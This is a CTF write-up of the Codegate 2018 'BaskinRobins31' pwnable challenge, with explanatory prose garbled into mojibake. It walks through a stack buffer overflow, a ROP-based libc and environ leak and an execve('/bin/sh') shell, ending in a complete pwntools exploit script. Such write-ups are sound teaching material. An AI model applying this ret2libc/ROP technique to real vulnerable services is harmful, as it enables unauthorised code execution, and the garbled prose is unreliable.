Codegate CTF 2018 Qual - BaskinRobins31
Codegate CTF 2018 Qual pwnable challenge ๋ฒ ์คํจ๋ผ๋น์ค ๊ฒ์์ ๊ฑฐ๊พธ๋กํด์ 1~3๊น์ง์ ์ซ์๋ฅผ ๊ณ ๋ฅด๋ฉด (์ค์) 31์์ ๋นผ๊ณ , ๋ง์ง๋ง ์ซ์ 0์ ๋ถ๋ฅด๋ ์ฌ๋์ด ์ง๋ ๊ฒ์์ ๊ตฌํํ๋ค. ์ทจ์ฝ์ ์ ๋จ์ํ๊ฒ ๋ด๊ฐ ์
๋ ฅ์ ๋ฃ๋ BOF๊ฐ ๊ฐ๋ฅํ๋ ROP๋ฅผ ์ด์ฉํด์ libc leak์ ํ๊ณ ๋ฌธ์ ๋ ์ด๋ ๊ฒ ๊ทธ๋ฐ๋ฐ ๋ง์ง๋ง payload์์ ์ฒ์์๋ ๋ญ์ง ์ถ์ด์ ๊ทธ๋ฅ ์๊ณ ๋ณด๋ ๋ฒ ์คํจ๋ผ๋น์ค ๊ฒ์์ ํ๋ฉด์ ๋ด๊ฐ ์
๋ ฅํ ๊ฐ์ด ๊ฐ์ํ๋ ๊ฒ์ด์๋ค ใ
ใ
ใ
ใ
๊ทธ๋์ ์ด? ์์์๋ ์ ์ ๋์ง? ํ๊ณ ํ์ธํด๋ณด๋โฆ ์์ ROP payload์์๋ Payload๋ฅผ ์์ฑํ ๋ dummy๋ฅผ ๋ค๋ฅด๊ฒ ๊ตฌ์ฑํด์ ์ด๋ payload๊ฐ ์ ๋ฌ๋๊ฑด์ง ์ ์ ์๊ฒ๋ ํ๋ ค๊ณ ํ๊ฑด๋ฐ, ์ด๋ฐ ๋๋นํจ๊ณผ๊ฐ ๋ฐ์ํ ์ค์ด์ผโฆ 0x00. Introduction
[*] '/home/user/BaskinRobins31'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000) Concept
0x01. Vulnerability
__int64 __fastcall your_turn(_DWORD *a1)
{
...
char buf[160]; // [rsp+10h] [rbp-B0h] BYREF
len = read(0, buf, 0x190uLL);
...
}your_turn()์์ BOF๊ฐ ๋ฐ์ํ๋ค. 0x02. Exploit
payload = b"1" + b"A" * 0xaf
payload += b"B" * 8 # sfp
payload += p64(bp['pppr'])
payload += p64(1)
payload += p64(elf.got['write'])
payload += p64(8)
payload += p64(elf.plt['write'])
payload += p64(bp['main'])
s.sendline(payload)
s.recvn(len(payload) + 3)
libc = u64(s.recv(1024)[0:6] + b"\x00\x00") - lib.symbols['write']
system = libc + lib.symbols['execve']
log.info(f"libc : {hex(libc)}")
log.info(f"system : {hex(system)}")execve ์ฃผ์๊น์ง๋ ์ ํ๋ํ๋ค. ์ฒ์์๋ system์ ์ฃผ์๋ก exploit์ ์งํํ๋๋ฐ, stack alignment ๋๋ฌธ์ธ์ง segmentation fault๊ฐ ๋ฐ์ํด์ execve๋ก ๋ฐ๊ฟจ๋๋ ์ฑ๊ณตํ๋ค.execve์ ์ด๋ป๊ฒ /bin/sh๋ฅผ ์ ๋ฌํ๋๋์ธ๋ฐ, libc์์ ์ฐพ์์ ์ ๋ฌํด๋ ๋์ง๋ง environ์ ์ด์ฉํ stack leak์ผ๋ก ํด๊ฒฐํ๋ค. payload = b"2" + b"C" * 0xaf
payload += b"D" * 8
payload += p64(bp['pppr'])
payload += p64(1)
payload += p64(libc + lib.symbols['environ'])
payload += p64(8)
payload += p64(elf.plt['write'])
payload += p64(bp['main'])
s.sendline(payload)
s.recvn(len(payload) + 3)
environ = u64(s.recv(1024)[1:7] + b"\x00\x00")
log.info(f"environ : {hex(environ)}")
log.info(f"binsh : {hex(environ - 0x1d0)}")environ์ ๋ด๊ฒจ์๋ stack ์์ญ ์ฃผ์๋ฅผ ๋ฐ์์์ buf+0x8๊ณผ์ offset ์ฐจ์ด๋ฅผ ๊ณ์ฐํ ํ, buf+0x8์ /bin/sh ๋ฌธ์์ด์ ๋ฃ์ด์ execve ํจ์์ ์ธ์๋ก ์ ๋ฌํ๋ค. payload = b"3" + b"E" * 7
payload += b"/bin/sh\x00" # buf + 0x8
payload += b"F" * (0xb0 - len(payload))
payload += b"G" * 8
payload += p64(bp['pppr'])
payload += b"H" * 0x18
payload += p64(bp['pppr'])
payload += p64(environ - 0x1d0)
payload += p64(0)
payload += p64(0)
payload += p64(system)
s.sendline(payload)
s.interactive()pppr ๊ฐ์ ฏ์ ๊ฐ๋ ์ด์ํ๊ฒ rsi ๊ฐ๋ง ์ด์ํด์ ธ์ ์์ด ์๊พธ ์๋ด๋ค.โ 0x40097a <your_turn+214> ret
โณ 0x40087a <helper+4> pop rdi
0x40087b <helper+5> pop rsi
0x40087c <helper+6> pop rdx
0x40087d <helper+7> ret
gefโค x/4gx $rsp
0x7fffffffe188: 0x000000000040087a 0x00007fffffffe0d8
0x7fffffffe198: 0x00000000fffffffd 0x000000000000000pppr ๊ฐ์ ฏ์ ๋ ๋ฒ ํธ์ถํ๋ ๊ฒ์ผ๋ก ํด๊ฒฐํ๋๋ฐโฆ.text:000000000040095D mov rax, [rbp+var_B8]
.text:0000000000400964 mov eax, [rax]
.text:0000000000400966 sub eax, [rbp+choice]write(1, write_got, 8 - 1);
write(1, write_got, 8 - 2);write์ size ์ธ์๊ฐ์์ 1, 2๋งํผ ๋น ์ก๊ณ , ์ฃผ์๊ฐ์ด ์ด์ฐจํผ 8๋ฐ์ดํธ๋ฅผ ๋ค ์์ฐ๋๊น ๊ด์ฐฎ์๋๊ฑฐ์๋ค ใ
ใ
ใ
ใ
0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys
DEBUG = True
BINARY = "BaskinRobins31"
LIBRARY = "libc.so.6"
bp = {
'main' : 0x0000000000400a4b,
'end_of_main' : 0x0000000000400b5a,
'your_turn' : 0x00000000004008a4,
'end_of_your_turn' : 0x000000000040097a,
'pppr' : 0x40087a, # pop rdi; pop rsi; pop rdx
}
gs = f'''
b *{bp['end_of_your_turn']}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def main():
if(len(sys.argv) > 1):
s = remote("0.0.0.0", int(sys.argv[1]))
else:
s = process(BINARY)
if DEBUG:
gdb.attach(s, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)
s.recv(1024)
payload = b"1" + b"A" * 0xaf
payload += b"B" * 8 # sfp
payload += p64(bp['pppr'])
payload += p64(1)
payload += p64(elf.got['write'])
payload += p64(8)
payload += p64(elf.plt['write'])
payload += p64(bp['main'])
s.sendline(payload)
s.recvn(len(payload) + 3)
libc = u64(s.recv(1024)[0:6] + b"\x00\x00") - lib.symbols['write']
system = libc + lib.symbols['execve']
log.info(f"libc : {hex(libc)}")
log.info(f"system : {hex(system)}")
payload = b"2" + b"C" * 0xaf
payload += b"D" * 8
payload += p64(bp['pppr'])
payload += p64(1)
payload += p64(libc + lib.symbols['environ'])
payload += p64(8)
payload += p64(elf.plt['write'])
payload += p64(bp['main'])
s.sendline(payload)
s.recvn(len(payload) + 3)
environ = u64(s.recv(1024)[1:7] + b"\x00\x00")
log.info(f"environ : {hex(environ)}")
log.info(f"binsh : {hex(environ - 0x1d0)}")
payload = b"3" + b"E" * 7
payload += b"/bin/sh\x00"
payload += b"F" * (0xb0 - len(payload))
payload += b"G" * 8
payload += p64(bp['pppr'])
payload += b"H" * 0x18
payload += p64(bp['pppr'])
payload += p64(environ - 0x1d0)
payload += p64(0)
payload += p64(0)
payload += p64(system)
s.sendline(payload)
s.interactive()
if __name__=='__main__':
main()